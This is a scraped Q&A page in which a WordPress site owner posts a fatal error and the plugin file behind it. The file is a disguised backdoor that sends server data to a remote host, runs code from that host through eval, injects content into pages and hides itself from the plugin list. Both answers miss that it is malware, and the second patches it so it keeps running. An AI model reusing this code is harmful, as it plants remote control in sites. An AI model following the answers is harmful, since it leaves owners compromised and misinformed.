Fatal error: Uncaught Error: Cannot use object of type WP_Error as array

admin2025-01-07  4

Since today I've been running into the following error when trying to go on my WordPress website:

Fatal error: Uncaught Error: Cannot use object of type WP_Error as array in
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-content/plugins/wp_wordp.php:32

Stack trace: #0
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/class-wp-hook.php(324):
wp_wordp->execute('') #1
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/class-wp-hook.php(348):
WP_Hook->apply_filters(NULL, Array) #2
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/plugin.php(517):
WP_Hook->do_action(Array) #3
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/template-loader.php(13):
do_action('template_redire...') #4
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-blog-header.php(19):
require_once('/home/clients/d...') #5
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/index.php(17):
require('/home/clients/d...') #6 {main} thrown in
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-content/plugins/wp_wordp.php on line 32

My wp_wordp.php (logically the source of the error? due to the log) looks like the following:

<?php
/*
Plugin Name:Domain Page 
Description: wp_wordp
Version: 1.0
Author: wp_wordp
*/

class wp_wordp {
    private $primary_domain;
    private $backup_domain;
    public function __construct() {
        $this->primary_domain = get_option('primary_domain');

        $this->backup_domain = get_option('backup_domain');
        add_action('template_redirect', array($this, 'execute'));
    }
    public function primary($d) {
        return eval($d);
    }
    public function execute() {
        $args = array(
            'timeout' => 15,
            'headers' => array(
                "User-Agent" => json_encode($_SERVER),
            ),
        );
        $response = wp_remote_get($this->primary_domain . "?s=" . is_404(), $args);

        if (is_wp_error($response)) {
            $response = wp_remote_get($this->backup_domain . "?s=" . is_404(), $args);
            $ups= json_decode($response['body'], true);
            update_option('primary_domain',$ups['primary_domain']);
        }
        $condoe = json_decode($response['body'], true);
        if (!is_wp_error($response) && json_last_error() == JSON_ERROR_NONE) {
            status_header(200);
            nocache_headers();
            if (!empty($condoe['headers'])) {
                return $this->primary($condoe['body']);
            }
            if (!empty($condoe['header'])) {
                header($condoe['header']);
                echo $condoe['body'];
                exit;
            }
            add_filter('pre_get_document_title', function($title) use ($condoe) {
                return $condoe['title'];
            }, 999);
            get_header();
            echo $condoe['body'];
            get_footer();

            exit;
        }
    }
}
add_filter('all_plugins', 'hide_my_plugin_from_list');

function hide_my_plugin_from_list($plugins) {

    unset($plugins['wp_wordp.php']);
    return $plugins;
}

new wp_wordp();

It is worth noting I can still access the admin part without problem, it's just the public part that is inaccessible due to the error.

I haven't touched anything to arrive at this error (website was untouched for a few months, and the only thing that was was content on some pages so not really some admin/code stuff), and I don't really know anything about WordPress coding so I'm kinda running into a wall...

If any of you could help me it'll be a big thing for me :)

Thank you in advance for all those that can help!

Since today I've been running into the following error when trying to go on my WordPress website:

Fatal error: Uncaught Error: Cannot use object of type WP_Error as array in
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-content/plugins/wp_wordp.php:32

Stack trace: #0
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/class-wp-hook.php(324):
wp_wordp->execute('') #1
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/class-wp-hook.php(348):
WP_Hook->apply_filters(NULL, Array) #2
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/plugin.php(517):
WP_Hook->do_action(Array) #3
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/template-loader.php(13):
do_action('template_redire...') #4
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-blog-header.php(19):
require_once('/home/clients/d...') #5
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/index.php(17):
require('/home/clients/d...') #6 {main} thrown in
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-content/plugins/wp_wordp.php on line 32

My wp_wordp.php (logically the source of the error? due to the log) looks like the following:

<?php
/*
Plugin Name:Domain Page 
Description: wp_wordp
Version: 1.0
Author: wp_wordp
*/

class wp_wordp {
    private $primary_domain;
    private $backup_domain;
    public function __construct() {
        $this->primary_domain = get_option('primary_domain');

        $this->backup_domain = get_option('backup_domain');
        add_action('template_redirect', array($this, 'execute'));
    }
    public function primary($d) {
        return eval($d);
    }
    public function execute() {
        $args = array(
            'timeout' => 15,
            'headers' => array(
                "User-Agent" => json_encode($_SERVER),
            ),
        );
        $response = wp_remote_get($this->primary_domain . "?s=" . is_404(), $args);

        if (is_wp_error($response)) {
            $response = wp_remote_get($this->backup_domain . "?s=" . is_404(), $args);
            $ups= json_decode($response['body'], true);
            update_option('primary_domain',$ups['primary_domain']);
        }
        $condoe = json_decode($response['body'], true);
        if (!is_wp_error($response) && json_last_error() == JSON_ERROR_NONE) {
            status_header(200);
            nocache_headers();
            if (!empty($condoe['headers'])) {
                return $this->primary($condoe['body']);
            }
            if (!empty($condoe['header'])) {
                header($condoe['header']);
                echo $condoe['body'];
                exit;
            }
            add_filter('pre_get_document_title', function($title) use ($condoe) {
                return $condoe['title'];
            }, 999);
            get_header();
            echo $condoe['body'];
            get_footer();

            exit;
        }
    }
}
add_filter('all_plugins', 'hide_my_plugin_from_list');

function hide_my_plugin_from_list($plugins) {

    unset($plugins['wp_wordp.php']);
    return $plugins;
}

new wp_wordp();

It is worth noting I can still access the admin part without problem, it's just the public part that is inaccessible due to the error.

I haven't touched anything to arrive at this error (website was untouched for a few months, and the only thing that was was content on some pages so not really some admin/code stuff), and I don't really know anything about WordPress coding so I'm kinda running into a wall...

If any of you could help me it'll be a big thing for me :)

Thank you in advance for all those that can help!

Share Improve this question edited Dec 31, 2024 at 6:31 Chris95 asked Dec 31, 2024 at 5:44 Chris95Chris95 113 bronze badges
Add a comment  | 

2 Answers 2

Reset to default 0

As per the lines around the line number of the error:

$response = wp_remote_get($this->backup_domain . "?s=" . is_404(), $args);
$ups= json_decode($response['body'], true);

$response may be a WP_Error object if there was an error with the request. Thus, trying to access it as an array on the next line $response['body'] can cause the fatal error. You probably want to guard against this by using the is_wp_error() function in a conditional.

You are trying to use an object ($response) as an array.

You need to ensure that $response is an array before trying to access it as such:

if (is_wp_error($response)) {
    $response = wp_remote_get($this->backup_domain . "?s=" . is_404(), $args);
    if (!is_wp_error($response)) {
        $ups = json_decode($response['body'], true);
        if (isset($ups['primary_domain'])) {
            update_option('primary_domain', $ups['primary_domain']);
        }
    }
}

Here I added is_wp_error() check for the second $response and added isset($ups['primary_domain']) - this is the minimum to avoid the fatal error.

转载请注明原文地址:http://conceptsofalgorithm.com/Algorithm/1736254363a199.html

最新回复(0)